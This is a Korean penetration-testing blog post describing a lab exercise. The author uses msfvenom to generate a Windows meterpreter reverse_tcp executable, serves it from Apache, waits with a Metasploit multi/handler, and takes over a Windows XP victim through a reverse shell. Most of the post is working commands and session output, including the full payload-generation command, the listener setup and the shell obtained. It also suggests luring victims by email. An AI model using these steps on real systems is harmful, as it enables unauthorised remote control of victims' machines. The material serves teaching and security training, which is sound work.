Linux/모의해킹

Windows XP 에서 msfvenom 공격

GGkeeper 2022. 1. 3. 21:02

실습> msfvenom 을 이용한 악성코드 작성하기

metasploit의 windows/meterpreter/reverse_tcp payload는 reverse connection 을 기반으로 하고 있다.
malware.exe를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.

Attacker(Kali) : 192.168.108.102
Victim(Windows XP) : 192.168.108.105

윈도우 버전
                +-- meterpreter shell
                |
  Attacker      |        Victim
+----------+    v    | +----------+
|          |  +===+  | |          |
|          |  |   |  | |          |
|   4444 ---->| M |<-|----- 1017 [malware.exe]
|          |  |   |  | |          |
|          |  +===+  | |          |
+----------+         | +----------+
192.168.108.102        192.168.108.105
                       firewall.cpl 활성화

-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --


1. Victim 방화벽 활성화
방화벽의 Inbound 쪽의 방화벽 룰을 설정한다.
설정 방법 : cmd -> firewall.cpl -> 사용으로 체크를 한다.

2. 웹서버 시작
피해자가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
Attacker# /etc/init.d/apache2 start

3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.
Attacker# ifconfig  eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.108.102  netmask 255.255.255.0  broadcast 192.168.108.255
        inet6 fe80::20c:29ff:feea:9e42  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:ea:9e:42  txqueuelen 1000  (Ethernet)
        RX packets 759542  bytes 963831179 (919.1 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 399628  bytes 30515946 (29.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


Attacker# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f    : 실행파일 형식
-o    : 악성파일 경로

/var/www/html/malware.exe 로 악성코드를 생성한다. 
Attacker# msfvenom -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=4444 -f exe -o /var/www/html/malware.exe

Attacker# file /var/www/html/malware.exe
/var/www/html/malware.exe: PE32 executable (GUI) Intel 80386, for MS Windows

4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
Attacker# msfconsole
msf6 > info multi/handler
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thr
                                        ead, process, none)
   LHOST                      yes       The listen address (an interface may b
                                        e specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

LHOST 변수에 Attacker's IP Address 를 설정한다.
msf6 exploit(multi/handler) > set LHOST 192.168.108.102

exploit 명령어를 이용해서 공격대기를 한다.
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.108.102:4444

5. 악성코드 실행
Victim에서 악성코드를 다운로드 받아서 실행한다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.
http://192.168.108/102/malware.exe

Victim 에서 악성코드를 다운로드 받아서 실행하면 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.

[*] Started reverse TCP handler on 192.168.108.102:4444
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:4444 -> 192.168.108.105:1071) at 2021-08-05 03:47:35 -0400


Attacker# netstat -natp | grep 4444
tcp        0      0 192.168.108.102:4444    192.168.108.105:1071    ESTABLISHED 38716/ruby   


6. Victim 장악
피해자의 공격에 성공하면 meterpreter 쉘이 실행된 걸 확인할 수 있다.
meterpreter > sysinfo
Computer        : USER1-28E4C7675
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > shell
Process 2508 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\바탕 화면>

'Linux > 모의해킹' 카테고리의 다른 글

쉘 코드란??  (0) 2022.01.03
putty 실행파일 패치  (0) 2022.01.03
Windows XP에서 Reverse Shell 이해하기  (0) 2022.01.03
Windows XP 에서 Bind Shell 이해하기  (0) 2022.01.03
msfconsole 공격 기법  (0) 2022.01.03